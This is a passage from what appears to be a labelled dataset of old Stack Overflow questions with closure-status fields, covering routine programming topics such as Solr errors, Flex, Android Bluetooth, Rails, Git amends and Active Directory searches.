at org.apache.solr.core.CoreContainer.create(CoreContainer.java:816)
at org.apache.solr.core.CoreContainer.load(CoreContainer.java:510)
at org.apache.solr.core.CoreContainer.load(CoreContainer.java:333)
at org.apache.solr.core.CoreContainer$Initializer.initialize(CoreContain
er.java:282)
at org.apache.solr.servlet.SolrDispatchFilter.init(SolrDispatchFilter.ja
va:101)
at org.eclipse.jetty.servlet.FilterHolder.doStart(FilterHolder.java:114)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLife
Cycle.java:59)
at org.eclipse.jetty.servlet.ServletHandler.initialize(ServletHandler.ja
va:754)
at org.eclipse.jetty.servlet.ServletContextHandler.startContext(ServletC
ontextHandler.java:258)
at org.eclipse.jetty.webapp.WebAppContext.startContext(WebAppContext.jav
a:1221)
at org.eclipse.jetty.server.handler.ContextHandler.doStart(ContextHandle
r.java:699)
at org.eclipse.jetty.webapp.WebAppContext.doStart(WebAppContext.java:454
)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLife
Cycle.java:59)
at org.eclipse.jetty.deploy.bindings.StandardStarter.processBinding(Stan
dardStarter.java:36)
at org.eclipse.jetty.deploy.AppLifeCycle.runBindings(AppLifeCycle.java:1
83)
at org.eclipse.jetty.deploy.DeploymentManager.requestAppGoal(DeploymentM
anager.java:491)
at org.eclipse.jetty.deploy.DeploymentManager.addApp(DeploymentManager.j
ava:138)
at org.eclipse.jetty.deploy.providers.ScanningAppProvider.fileAdded(Scan
ningAppProvider.java:142)
at org.eclipse.jetty.deploy.providers.ScanningAppProvider$1.fileAdded(Sc
anningAppProvider.java:53)
at org.eclipse.jetty.util.Scanner.reportAddition(Scanner.java:604)
at org.eclipse.jetty.util.Scanner.reportDifferences(Scanner.java:535)
at org.eclipse.jetty.util.Scanner.scan(Scanner.java:398)
at org.eclipse.jetty.util.Scanner.doStart(Scanner.java:332)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLife
Cycle.java:59)
at org.eclipse.jetty.deploy.providers.ScanningAppProvider.doStart(Scanni
ngAppProvider.java:118)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLife
Cycle.java:59)
at org.eclipse.jetty.deploy.DeploymentManager.startAppProvider(Deploymen
tManager.java:552)
at org.eclipse.jetty.deploy.DeploymentManager.doStart(DeploymentManager.
java:227)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLife
Cycle.java:59)
at org.eclipse.jetty.util.component.AggregateLifeCycle.doStart(Aggregate
LifeCycle.java:63)
at org.eclipse.jetty.server.handler.AbstractHandler.doStart(AbstractHand
ler.java:53)
at org.eclipse.jetty.server.handler.HandlerWrapper.doStart(HandlerWrappe
r.java:91)
at org.eclipse.jetty.server.Server.doStart(Server.java:263)
at org.eclipse.jetty.util.component.AbstractLifeCycle.start(AbstractLife
Cycle.java:59)
at org.eclipse.jetty.xml.XmlConfiguration$1.run(XmlConfiguration.java:12
15)
at java.security.AccessController.doPrivileged(Native Method)
at org.eclipse.jetty.xml.XmlConfiguration.main(XmlConfiguration.java:113
8)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
at java.lang.reflect.Method.invoke(Unknown Source)
at org.eclipse.jetty.start.Main.invokeMain(Main.java:457)
at org.eclipse.jetty.start.Main.start(Main.java:602)
at org.eclipse.jetty.start.Main.main(Main.java:82)
Caused by: java.lang.ClassNotFoundException: org.apache.solr.mcf.ManifoldCFSearc
hComponent
at java.net.URLClassLoader$1.run(Unknown Source)
at java.net.URLClassLoader$1.run(Unknown Source)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
at java.net.FactoryURLClassLoader.loadClass(Unknown Source)
at java.lang.ClassLoader.loadClass(Unknown Source)
at java.lang.Class.forName0(Native Method)
at java.lang.Class.forName(Unknown Source)
at org.apache.solr.core.SolrResourceLoader.findClass(SolrResourceLoader.
java:399)
... 52 more
| 0 |
924,818 | 05/29/2009 07:30:23 | 1,478 | 08/15/2008 19:37:57 | 241 | 15 | Mouse position on screen in flex | I am trying to obtain the actual mouse co-ordinates on the screen so I can create a Native Window at that position but I dont seem to be able to find the right way to do this correctly.
I have tried various things, the closest thing I have at the moment is:
this.contentMouseX and this.contentMouseY
This gives me the coords on the current stage which is fine, then I add to that the:
NativeApplication.nativeApplication.activeWindow.x and activeWindow.y
Which is close, but this doesnt take into account the application title bar.
There must be an easier and more straightforward way of doing this I am sure, can anyone give advice cos I fail to find it on google? | flex3 | actionscript-3 | null | null | null | null | open | Mouse position on screen in flex
===
I am trying to obtain the actual mouse co-ordinates on the screen so I can create a Native Window at that position but I dont seem to be able to find the right way to do this correctly.
I have tried various things, the closest thing I have at the moment is:
this.contentMouseX and this.contentMouseY
This gives me the coords on the current stage which is fine, then I add to that the:
NativeApplication.nativeApplication.activeWindow.x and activeWindow.y
Which is close, but this doesnt take into account the application title bar.
There must be an easier and more straightforward way of doing this I am sure, can anyone give advice cos I fail to find it on google? | 0 |
6,621,385 | 07/08/2011 07:36:30 | 618,994 | 02/16/2011 03:49:51 | 43 | 10 | Android PC connectivity using Bluetooth | I've written Client Server application for Android mobile and PC using bluetooth connectivity,
in which PC acts as a server written using J2SE and Bluecove library, while Android acts as a Client.
And I've also tested my application its working, it cab able to connect, it can able to send and receive data both ways like a Chat service.
But my problem is, these all working only with Samsung Android Mobiles but not with devices from other Manufacturers. So far I've tested my application using
1. Samsung GT-S5570
2. Samsung Galaxy S2
3. HTC Nexus One
4. Sony Ericsson Xperia 10i and Server in my Windows 7.
The Client and Server gets connected only in Samsung devices but not with other 2 devices mentioned above. When I try to connect with HTC and Sony Ericsson mobile device just displays unable to connect and also I tried to connect so many times but no success. I don't know what actual problem is.
I developed the Android application from Android Bluetooth Chat Sample Application.
Any Ideas, Thanks. | connection | bluetooth | null | null | null | null | open | Android PC connectivity using Bluetooth
===
I've written Client Server application for Android mobile and PC using bluetooth connectivity,
in which PC acts as a server written using J2SE and Bluecove library, while Android acts as a Client.
And I've also tested my application its working, it cab able to connect, it can able to send and receive data both ways like a Chat service.
But my problem is, these all working only with Samsung Android Mobiles but not with devices from other Manufacturers. So far I've tested my application using
1. Samsung GT-S5570
2. Samsung Galaxy S2
3. HTC Nexus One
4. Sony Ericsson Xperia 10i and Server in my Windows 7.
The Client and Server gets connected only in Samsung devices but not with other 2 devices mentioned above. When I try to connect with HTC and Sony Ericsson mobile device just displays unable to connect and also I tried to connect so many times but no success. I don't know what actual problem is.
I developed the Android application from Android Bluetooth Chat Sample Application.
Any Ideas, Thanks. | 0 |
2,351,249 | 02/28/2010 14:04:18 | 283,087 | 02/28/2010 13:38:48 | 1 | 0 | my first iPhone app and i'm stuck. surprised? lol | i've decided to give this iPhone App development a kick. to help add perspective to this i've never programmed in any form of C or for any anything on the Mac other than Applescript. i've created plenty of solutions using blends of Applescript, Classic ASP, Perl, even PostScript. i'm home brewed so i don't understand all the my Obj.xyz.blah.blee stuff, sorry ;-/
i need to...
1) take data from a field
2) convert it to a float
3) do some math
4) then plop the results in a label
i've gotten a version of this working where i pull the text from a filed and plop the results into a label upon clicking on a "Calculate" button, that was easy. so i know that points 1 and 4 are good. now for the tough part...
i've setup an initial version to ensure i can do points 3 and 4 by setting my float variables as static bits of data...
float float_DiameterA, float_DiameterB;
float myR1, myR2;
float_DiameterA = 20;
float_DiameterB = 5;
myR1=(float_DiameterA-float_DiameterB)/2;
myR2=1;
r1.text=[[NSNumber numberWithFloat:myR1] stringValue];
r2.text=[[NSNumber numberWithFloat:myR2] stringValue];
a1.text = txtLength.text;
results : r1 displays "7.5" and r2 displays "1". this works perfectly BUT i need to take txtDiameterA.text and put it into float_DiameterA as a floating point.
here's what i've tried for step 2...
str_DiameterA = [txtDiameterA.text text];
float_DiameterA = [[str_DiameterA text] floatValue];
but that didn't work ;-/
i've even tried several versions of
if(EOF == sscanf(str_DiameterA, "%f", &float_DiameterA)){
//error
};
and
float_DiameterA = sscanf(txtDiameterA.text, "%f", &f);
but none of those worked either. i think that's when i started to realize this wasn't C++ as i thought it was lol...
think you'll get the idea by now.
so...
**how do you take the input from txtDiameterA.text and convert into a float?** please don't tell me to use Root Beer instead of a Cola lol.
oh, here's a few more bits of information that might have some impact...
part of my .h file
IBOutlet UITextField *txtDiameterA;
IBOutlet UITextField *txtDiameterB;
IBOutlet UILabel *r1;
IBOutlet UILabel *r2;
i designed my UI using the Interface Builder.
**THANK YOU VERY MUCH FOR YOUR ASSISTANCE!!! ;-)** | iphone | text | float | null | null | null | open | my first iPhone app and i'm stuck. surprised? lol
===
i've decided to give this iPhone App development a kick. to help add perspective to this i've never programmed in any form of C or for any anything on the Mac other than Applescript. i've created plenty of solutions using blends of Applescript, Classic ASP, Perl, even PostScript. i'm home brewed so i don't understand all the my Obj.xyz.blah.blee stuff, sorry ;-/
i need to...
1) take data from a field
2) convert it to a float
3) do some math
4) then plop the results in a label
i've gotten a version of this working where i pull the text from a filed and plop the results into a label upon clicking on a "Calculate" button, that was easy. so i know that points 1 and 4 are good. now for the tough part...
i've setup an initial version to ensure i can do points 3 and 4 by setting my float variables as static bits of data...
float float_DiameterA, float_DiameterB;
float myR1, myR2;
float_DiameterA = 20;
float_DiameterB = 5;
myR1=(float_DiameterA-float_DiameterB)/2;
myR2=1;
r1.text=[[NSNumber numberWithFloat:myR1] stringValue];
r2.text=[[NSNumber numberWithFloat:myR2] stringValue];
a1.text = txtLength.text;
results : r1 displays "7.5" and r2 displays "1". this works perfectly BUT i need to take txtDiameterA.text and put it into float_DiameterA as a floating point.
here's what i've tried for step 2...
str_DiameterA = [txtDiameterA.text text];
float_DiameterA = [[str_DiameterA text] floatValue];
but that didn't work ;-/
i've even tried several versions of
if(EOF == sscanf(str_DiameterA, "%f", &float_DiameterA)){
//error
};
and
float_DiameterA = sscanf(txtDiameterA.text, "%f", &f);
but none of those worked either. i think that's when i started to realize this wasn't C++ as i thought it was lol...
think you'll get the idea by now.
so...
**how do you take the input from txtDiameterA.text and convert into a float?** please don't tell me to use Root Beer instead of a Cola lol.
oh, here's a few more bits of information that might have some impact...
part of my .h file
IBOutlet UITextField *txtDiameterA;
IBOutlet UITextField *txtDiameterB;
IBOutlet UILabel *r1;
IBOutlet UILabel *r2;
i designed my UI using the Interface Builder.
**THANK YOU VERY MUCH FOR YOUR ASSISTANCE!!! ;-)** | 0 |
7,198,771 | 08/26/2011 00:26:35 | 796,490 | 06/13/2011 19:19:17 | 67 | 0 | Opinion on whether to use a hash or an array, pushing new element in Rails | I'm working on a Rails 3 app where a user's profile `has_many :to-dos`. The user has three categories of `:to-dos`: two that are added to by clicking buttons on other pages, and one that they can add to themselves (through a status-update-like form).
So I'm interested in your thoughts on:
1. How to best set it up, particularly whether to use arrays or hashes. I'd like to count all of the `:to-dos` as well as list the string values for the individual categories.
2. The best way to push to the two categories that aren't like status updates. I'd attach the push to a button most likely, so the push would come on click or something. | arrays | ruby-on-rails-3 | hash | null | null | null | open | Opinion on whether to use a hash or an array, pushing new element in Rails
===
I'm working on a Rails 3 app where a user's profile `has_many :to-dos`. The user has three categories of `:to-dos`: two that are added to by clicking buttons on other pages, and one that they can add to themselves (through a status-update-like form).
So I'm interested in your thoughts on:
1. How to best set it up, particularly whether to use arrays or hashes. I'd like to count all of the `:to-dos` as well as list the string values for the individual categories.
2. The best way to push to the two categories that aren't like status updates. I'd attach the push to a button most likely, so the push would come on click or something. | 0 |
3,685,002 | 09/10/2010 13:37:31 | 207,673 | 11/10/2009 10:16:09 | 57 | 6 | Check if boolean is true? | bool foo = true;
// Do this?
if (foo)
{
}
// Or this?
if (foo == true)
{
}
I like one of them and my coworker the other. The result is the same, but what is (more) correct? | c# | null | null | null | null | 09/10/2010 13:44:08 | not constructive | Check if boolean is true?
===
bool foo = true;
// Do this?
if (foo)
{
}
// Or this?
if (foo == true)
{
}
I like one of them and my coworker the other. The result is the same, but what is (more) correct? | 4 |
10,755,762 | 05/25/2012 14:01:53 | 149,838 | 08/03/2009 16:03:09 | 48 | 3 | Is jQuery selector is smart ? Benchmark? | - I know jQuery Selector is very fast (http://mootools.net/slickspeed/)
- I know a query can be optimised for performance issue.
- I know selector may relies on Browser internal selector
I used to work on Prototype as well, and we had to code fastUp() fastDown() function to speed up selector engine (on IE6+). Because it was too generic:
- Prototype build a big Array of all parent only for up(1)
- It do not use Form.elements[] when working on form's elements
I'd like to know if I should code these tricks for jQuery as well or if it is smart enough ?
| jquery | jquery-selectors | benchmarking | null | null | 05/28/2012 08:43:10 | not constructive | Is jQuery selector is smart ? Benchmark?
===
- I know jQuery Selector is very fast (http://mootools.net/slickspeed/)
- I know a query can be optimised for performance issue.
- I know selector may relies on Browser internal selector
I used to work on Prototype as well, and we had to code fastUp() fastDown() function to speed up selector engine (on IE6+). Because it was too generic:
- Prototype build a big Array of all parent only for up(1)
- It do not use Form.elements[] when working on form's elements
I'd like to know if I should code these tricks for jQuery as well or if it is smart enough ?
| 4 |
11,261,961 | 06/29/2012 12:40:25 | 1,491,148 | 06/29/2012 12:26:29 | 1 | 0 | reloading header frame in jsp to update username | I have a web-app using jsf.
In the welcome page there is a header frame on the header in a label Guest is displayed if user is not logged in and it should display username once user has logged in.
i am using the below code to display it
< h:outputLabel id="txtuserLabel" value="#{customerBean.userName}"/>
Now once user logs in, I reload the header.jsp frame using java script
parent.frames['headlayout'].location.reload();
Though the header page gets reloaded but the value of the outputLabel doesn't get updated.
How to get the label value updated once user logs in?
note: the value in bean is getting updated
Kindly help. | html | jsf-2.0 | javabeans | frame | null | null | open | reloading header frame in jsp to update username
===
I have a web-app using jsf.
In the welcome page there is a header frame on the header in a label Guest is displayed if user is not logged in and it should display username once user has logged in.
i am using the below code to display it
< h:outputLabel id="txtuserLabel" value="#{customerBean.userName}"/>
Now once user logs in, I reload the header.jsp frame using java script
parent.frames['headlayout'].location.reload();
Though the header page gets reloaded but the value of the outputLabel doesn't get updated.
How to get the label value updated once user logs in?
note: the value in bean is getting updated
Kindly help. | 0 |
3,219,211 | 07/10/2010 12:38:50 | 388,431 | 07/10/2010 12:38:50 | 1 | 0 | any functhion to find file like from my website? | any functhion to find my link files
example
i have host and i add images ,so i need image links to store it in database to reuse it
the function i need< will give my the link as this
www.mysite.com/folder/image.jpg
any one help plz | php | null | null | null | null | 07/10/2010 14:55:09 | not a real question | any functhion to find file like from my website?
===
any functhion to find my link files
example
i have host and i add images ,so i need image links to store it in database to reuse it
the function i need< will give my the link as this
www.mysite.com/folder/image.jpg
any one help plz | 1 |
8,551,280 | 12/18/2011 11:01:55 | 316,727 | 04/14/2010 16:45:36 | 63 | 5 | Mechanical Turk: how to send email to workers who have performed your HITs | I have posted two surveys on Mechanical Turk and I didn't ask for any contact information from my workers. That may not even be allowed: anyway it's too late now.
Now I want to send an email or other kind of message to all those who completed my tasks
On this page: [http://www.itworld.com/internet/76659/experimenting-mechanical-turk-5-how-tos][1] it says you can send an email by clicking on the worker ID in the list of completed tasks. But when I look at my MTurk account, this is not so.
Under Manage > Workers, I can click on a worker ID and I get some details on that worker, as well as the option to bonus them or block them. But not to send them any message.
Has this function been removed? Do I need to learn to use the awful command-line tool?
[1]: http://www.itworld.com/internet/76659/experimenting-mechanical-turk-5-how-tos | amazon | survey | mechanicalturk | null | null | 12/19/2011 05:15:17 | off topic | Mechanical Turk: how to send email to workers who have performed your HITs
===
I have posted two surveys on Mechanical Turk and I didn't ask for any contact information from my workers. That may not even be allowed: anyway it's too late now.
Now I want to send an email or other kind of message to all those who completed my tasks
On this page: [http://www.itworld.com/internet/76659/experimenting-mechanical-turk-5-how-tos][1] it says you can send an email by clicking on the worker ID in the list of completed tasks. But when I look at my MTurk account, this is not so.
Under Manage > Workers, I can click on a worker ID and I get some details on that worker, as well as the option to bonus them or block them. But not to send them any message.
Has this function been removed? Do I need to learn to use the awful command-line tool?
[1]: http://www.itworld.com/internet/76659/experimenting-mechanical-turk-5-how-tos | 2 |
3,805,291 | 09/27/2010 15:24:36 | 356,808 | 06/02/2010 19:18:04 | 134 | 24 | Search AD with textbox value and return results as datatable | Currently I have a gridview bound to a datatable which is populated with groups from the AD. I need to be able to add search functionality so users can type in part of a group name and have the results display only groups that fit their search criteria. Here's what I have so far.
<asp:TextBox ID="searchParam" runat="server"></asp:TextBox><asp:button ID="btnSearch" runat="server" Text="Search" />
<asp:GridView ID="dgSearchDLs" runat="server" AutoGenerateColumns="False" DataKeyNames="cn" DataSourceID="ObjectDataSource1">
<Columns>
<asp:BoundField DataField="cn" HeaderText="DL Name"/>
<asp:BoundField DataField="managedBy" HeaderText="Managed By"/>
<asp:BoundField DataField="info" HeaderText="Notes"/>
<asp:ButtonField ButtonType="Button" text="Add" HeaderText = "Select DL" CommandName="AddDL" />
</Columns>
</asp:GridView>
<asp:ObjectDataSource ID="ObjectDataSource1" runat="server"
SelectMethod="getCOMDLs" TypeName="NewEmployee">
</asp:ObjectDataSource>
NewEmployee class:
Function getCOMDLs() As DataTable
Dim MySearchRoot As DirectoryEntry = New DirectoryEntry("path", "usr", "pwd")
Dim MyDirectorySearcher As New DirectorySearcher(MySearchRoot)
Dim strManagedBy As String
MyDirectorySearcher.Filter = ("(&(objectCategory=group)(|(name=dl*)))")
MyDirectorySearcher.SearchScope = SearchScope.Subtree
MyDirectorySearcher.PropertiesToLoad.Add("cn")
MyDirectorySearcher.PropertiesToLoad.Add("ManagedBy")
MyDirectorySearcher.PropertiesToLoad.Add("info")
MyDirectorySearcher.Sort.Direction = System.DirectoryServices.SortDirection.Ascending
MyDirectorySearcher.Sort.PropertyName = "cn"
Dim MySearchResult As SearchResultCollection = MyDirectorySearcher.FindAll()
Dim myTable As New DataTable("Results")
Dim colName As String
Dim i As Integer
For Each colName In MyDirectorySearcher.PropertiesToLoad
myTable.Columns.Add(colName, GetType(System.String))
Next
Dim result As SearchResult
For Each result In MySearchResult
Dim dr As DataRow = myTable.NewRow()
For Each colName In MyDirectorySearcher.PropertiesToLoad
If result.Properties.Contains(colName) Then
If colName = "ManagedBy" Then
strManagedBy = CStr(result.Properties(colName)(0))
i = strManagedBy.IndexOf(",")
strManagedBy = strManagedBy.Substring(3, i - 3)
dr(colName) = strManagedBy
Else
dr(colName) = CStr(result.Properties(colName)(0))
End If
Else
dr(colName) = ""
End If
Next
myTable.Rows.Add(dr)
Next
Return myTable
End Function | vb.net | search | gridview | active-directory | null | null | open | Search AD with textbox value and return results as datatable
===
Currently I have a gridview bound to a datatable which is populated with groups from the AD. I need to be able to add search functionality so users can type in part of a group name and have the results display only groups that fit their search criteria. Here's what I have so far.
<asp:TextBox ID="searchParam" runat="server"></asp:TextBox><asp:button ID="btnSearch" runat="server" Text="Search" />
<asp:GridView ID="dgSearchDLs" runat="server" AutoGenerateColumns="False" DataKeyNames="cn" DataSourceID="ObjectDataSource1">
<Columns>
<asp:BoundField DataField="cn" HeaderText="DL Name"/>
<asp:BoundField DataField="managedBy" HeaderText="Managed By"/>
<asp:BoundField DataField="info" HeaderText="Notes"/>
<asp:ButtonField ButtonType="Button" text="Add" HeaderText = "Select DL" CommandName="AddDL" />
</Columns>
</asp:GridView>
<asp:ObjectDataSource ID="ObjectDataSource1" runat="server"
SelectMethod="getCOMDLs" TypeName="NewEmployee">
</asp:ObjectDataSource>
NewEmployee class:
Function getCOMDLs() As DataTable
Dim MySearchRoot As DirectoryEntry = New DirectoryEntry("path", "usr", "pwd")
Dim MyDirectorySearcher As New DirectorySearcher(MySearchRoot)
Dim strManagedBy As String
MyDirectorySearcher.Filter = ("(&(objectCategory=group)(|(name=dl*)))")
MyDirectorySearcher.SearchScope = SearchScope.Subtree
MyDirectorySearcher.PropertiesToLoad.Add("cn")
MyDirectorySearcher.PropertiesToLoad.Add("ManagedBy")
MyDirectorySearcher.PropertiesToLoad.Add("info")
MyDirectorySearcher.Sort.Direction = System.DirectoryServices.SortDirection.Ascending
MyDirectorySearcher.Sort.PropertyName = "cn"
Dim MySearchResult As SearchResultCollection = MyDirectorySearcher.FindAll()
Dim myTable As New DataTable("Results")
Dim colName As String
Dim i As Integer
For Each colName In MyDirectorySearcher.PropertiesToLoad
myTable.Columns.Add(colName, GetType(System.String))
Next
Dim result As SearchResult
For Each result In MySearchResult
Dim dr As DataRow = myTable.NewRow()
For Each colName In MyDirectorySearcher.PropertiesToLoad
If result.Properties.Contains(colName) Then
If colName = "ManagedBy" Then
strManagedBy = CStr(result.Properties(colName)(0))
i = strManagedBy.IndexOf(",")
strManagedBy = strManagedBy.Substring(3, i - 3)
dr(colName) = strManagedBy
Else
dr(colName) = CStr(result.Properties(colName)(0))
End If
Else
dr(colName) = ""
End If
Next
myTable.Rows.Add(dr)
Next
Return myTable
End Function | 0 |
4,180,956 | 11/15/2010 02:22:14 | 215,117 | 11/20/2009 01:05:06 | 248 | 4 | Enum or Bool in mysql? | Simple silly question. What is better?
A Bool or an Enum('y','n') ? | mysql | enums | boolean | null | null | null | open | Enum or Bool in mysql?
===
Simple silly question. What is better?
A Bool or an Enum('y','n') ? | 0 |
11,094,141 | 06/19/2012 03:53:32 | 1,465,298 | 06/19/2012 03:38:40 | 1 | 0 | Is it too late to try and become a Sharepoint developer? | I am getting my CS degree at the end of this Summer and I have been really thinking about trying to become a Sharepoint developer.
I keep reading mixed feelings about Sharepoint development but from what I have read it looks interesting, especially the visual web parts and connecting LOB services.
As far as experience, I have built 3 ASP.Net Webforms applications from the ground up and learned C#, SQL, XHTML, XML, CSS, Photoshop/Expression Design and some jQuery along the way. I am perfectly comfortable in the Webforms environment but I haven't touched MVC at all. My primary coding background is C++ but C# has really grown on me.
Now that I practically shared my life's story, would it be beneficial to try and learn Sharepoint full throttle? I want to make a lot of money and will be working in the DC Metro area.
I just want to know if there is a future in Sharepoint development this late in the game. What are the chances that Microsoft abandons it and companies overhaul to something else instead of keeping Sharepoint in legacy mode?
I'm ready to start my career so any comments are appreciated. Thanks. | sharepoint | null | null | null | null | 06/19/2012 07:09:25 | not constructive | Is it too late to try and become a Sharepoint developer?
===
I am getting my CS degree at the end of this Summer and I have been really thinking about trying to become a Sharepoint developer.
I keep reading mixed feelings about Sharepoint development but from what I have read it looks interesting, especially the visual web parts and connecting LOB services.
As far as experience, I have built 3 ASP.Net Webforms applications from the ground up and learned C#, SQL, XHTML, XML, CSS, Photoshop/Expression Design and some jQuery along the way. I am perfectly comfortable in the Webforms environment but I haven't touched MVC at all. My primary coding background is C++ but C# has really grown on me.
Now that I practically shared my life's story, would it be beneficial to try and learn Sharepoint full throttle? I want to make a lot of money and will be working in the DC Metro area.
I just want to know if there is a future in Sharepoint development this late in the game. What are the chances that Microsoft abandons it and companies overhaul to something else instead of keeping Sharepoint in legacy mode?
I'm ready to start my career so any comments are appreciated. Thanks. | 4 |
798,502 | 04/28/2009 15:17:09 | 23,309 | 09/29/2008 01:11:34 | 867 | 23 | How can I create a hibernate collection that will be re-read every time I request it? | I have an entity that has a state table associated with it. The state table is managed by another process, and contains a list of objects that my business logic must process. I would like to get a new snapshot of the state table each time I reload the entity. How can I ensure that no part of Hibernate or its support libraries _ever_ caches any of the values of this table? Basically, I want to get a new view of the collection _every_ time I call getMyStateValues (). | hibernate | configuration | java | caching | null | null | open | How can I create a hibernate collection that will be re-read every time I request it?
===
I have an entity that has a state table associated with it. The state table is managed by another process, and contains a list of objects that my business logic must process. I would like to get a new snapshot of the state table each time I reload the entity. How can I ensure that no part of Hibernate or its support libraries _ever_ caches any of the values of this table? Basically, I want to get a new view of the collection _every_ time I call getMyStateValues (). | 0 |
7,157,374 | 08/23/2011 07:05:29 | 905,129 | 08/22/2011 01:41:48 | 26 | 23 | What is the best way to run MacOSX under windows env? | I am currently running Win7 64-bit.
What is the best way to run MacOSX under windows env? | virtualization | null | null | null | null | 08/24/2011 00:15:59 | off topic | What is the best way to run MacOSX under windows env?
===
I am currently running Win7 64-bit.
What is the best way to run MacOSX under windows env? | 2 |
11,687,879 | 07/27/2012 12:35:39 | 1,554,120 | 07/26/2012 09:25:46 | 1 | 0 | working on a project where i need to add ticket details on multiple div's | I am working on a project similar to add ticket details for a event. now i need a button on click multiple details with fields for ticket details should show with a setting button on click of that a div will show and hide, this will also be displayed multiple times as the ticket details. i want to use jquery for this can some one put light on this | jquery | null | null | null | null | 07/27/2012 12:41:04 | not a real question | working on a project where i need to add ticket details on multiple div's
===
I am working on a project similar to add ticket details for a event. now i need a button on click multiple details with fields for ticket details should show with a setting button on click of that a div will show and hide, this will also be displayed multiple times as the ticket details. i want to use jquery for this can some one put light on this | 1 |
8,565,724 | 12/19/2011 18:30:07 | 1,106,481 | 12/19/2011 18:15:21 | 1 | 0 | Conversion C# to VB.Net arraylist | I have below code in C#
return new ArrayList()
{
new { Value = 1, Display = "ap" },
new { Value = 2, Display = "up" }
};
its working fine
now i am converted to vb
Return New ArrayList() From { _
New With { _
Key .Value = 1, _
Key .Display = "ap" _
}, _
New With { _
Key .Value = 2, _
Key .Display = "up" _
} _
}
but its not working could please help me
iam getting
> **BC30205: End of statement expected.**
this error
Thanks,
Sree
| asp.net | vb.net | null | null | null | null | open | Conversion C# to VB.Net arraylist
===
I have below code in C#
return new ArrayList()
{
new { Value = 1, Display = "ap" },
new { Value = 2, Display = "up" }
};
its working fine
now i am converted to vb
Return New ArrayList() From { _
New With { _
Key .Value = 1, _
Key .Display = "ap" _
}, _
New With { _
Key .Value = 2, _
Key .Display = "up" _
} _
}
but its not working could please help me
iam getting
> **BC30205: End of statement expected.**
this error
Thanks,
Sree
| 0 |
8,728,133 | 01/04/2012 14:02:18 | 1,043,071 | 11/12/2011 11:45:36 | 305 | 3 | when choose OSPF and when RIP | A question asked in Cisco Interview :
Which routing protocol will you use if you have 50 nodes in each area? Choose between OSPF , RIP and explain. | networking | routing | cisco | ospf | null | 01/04/2012 22:46:01 | off topic | when choose OSPF and when RIP
===
A question asked in Cisco Interview :
Which routing protocol will you use if you have 50 nodes in each area? Choose between OSPF , RIP and explain. | 2 |
3,968,281 | 10/19/2010 12:27:03 | 130,006 | 06/28/2009 07:56:47 | 1,117 | 54 | Git: pushing amended commits | I am currently working on a project and using machines in two different locations to do it. I have created a branch for the feature I am working on and when I finish some work on it I amend my commit to that branch and push it to the server so I can pick up where I left off on my other machine.
When I try to send my amended commit it rejects my push. I assume this is because I am pushing up a commit that is intended to clobber the current HEAD of the feature branch. I typically just use --force.
Is there a better way to do this?
mike@sleepycat:~/projects/myproject$ git pull origin topx
From heroku.com:myproject
* branch topx -> FETCH_HEAD
Already up-to-date.
mike@sleepycat:~/projects/myproject$ git add app/models/reward.rb
mike@sleepycat:~/projects/myproject$ git commit --amend
[topx 82a9880] Added topX reward
9 files changed, 106 insertions(+), 21 deletions(-)
rewrite app/views/ceo/_reward_criteria.html.erb (96%)
create mode 100644 public/javascripts/jquery.multiselect.min.js
create mode 100644 public/site/javascripts/jquery.multiselect.min.js
create mode 100644 public/stylesheets/jquery.multiselect.css
mike@sleepycat:~/projects/myproject$ git push origin topx
To [email protected]:myproject.git
! [rejected] topx -> topx (non-fast-forward)
error: failed to push some refs to '[email protected]:myproject.git'
To prevent you from losing history, non-fast-forward updates were rejected
Merge the remote changes before pushing again. See the 'Note about
fast-forwards' section of 'git push --help' for details.
| git | null | null | null | null | null | open | Git: pushing amended commits
===
I am currently working on a project and using machines in two different locations to do it. I have created a branch for the feature I am working on and when I finish some work on it I amend my commit to that branch and push it to the server so I can pick up where I left off on my other machine.
When I try to send my amended commit it rejects my push. I assume this is because I am pushing up a commit that is intended to clobber the current HEAD of the feature branch. I typically just use --force.
Is there a better way to do this?
mike@sleepycat:~/projects/myproject$ git pull origin topx
From heroku.com:myproject
* branch topx -> FETCH_HEAD
Already up-to-date.
mike@sleepycat:~/projects/myproject$ git add app/models/reward.rb
mike@sleepycat:~/projects/myproject$ git commit --amend
[topx 82a9880] Added topX reward
9 files changed, 106 insertions(+), 21 deletions(-)
rewrite app/views/ceo/_reward_criteria.html.erb (96%)
create mode 100644 public/javascripts/jquery.multiselect.min.js
create mode 100644 public/site/javascripts/jquery.multiselect.min.js
create mode 100644 public/stylesheets/jquery.multiselect.css
mike@sleepycat:~/projects/myproject$ git push origin topx
To [email protected]:myproject.git
! [rejected] topx -> topx (non-fast-forward)
error: failed to push some refs to '[email protected]:myproject.git'
To prevent you from losing history, non-fast-forward updates were rejected
Merge the remote changes before pushing again. See the 'Note about
fast-forwards' section of 'git push --help' for details.
| 0 |
2,362,456 | 03/02/2010 10:34:45 | 284,292 | 03/02/2010 10:06:56 | 1 | 0 | I'm a beginner of ASP.Net(c#). I want to build a simple threaded forum where clients can raise their questions and the answer would be given online. | I'm a beginner of ASP.Net(c#). I want to build a simple threaded
forum where clients can raise their questions and the answer would be given online. Could you please show me some sample source code? The
simpler, the better. | asp.net | visual-studio-2005 | visual-studio-2008 | c# | .netframework3.5 | 03/02/2010 11:12:21 | not a real question | I'm a beginner of ASP.Net(c#). I want to build a simple threaded forum where clients can raise their questions and the answer would be given online.
===
I'm a beginner of ASP.Net(c#). I want to build a simple threaded
forum where clients can raise their questions and the answer would be given online. Could you please show me some sample source code? The
simpler, the better. | 1 |
11,315,477 | 07/03/2012 16:46:59 | 1,466,060 | 06/19/2012 09:55:16 | 10 | 1 | Add icon button beside tree item in eclipse tree | I wonder how to add an icon that acts as a button in the right side of a tree item
the selection of this icon should have different action than selecting the tree item itself.
How can I do that?
| java | eclipse | tree | rcp | jface | null | open | Add icon button beside tree item in eclipse tree
===
I wonder how to add an icon that acts as a button in the right side of a tree item
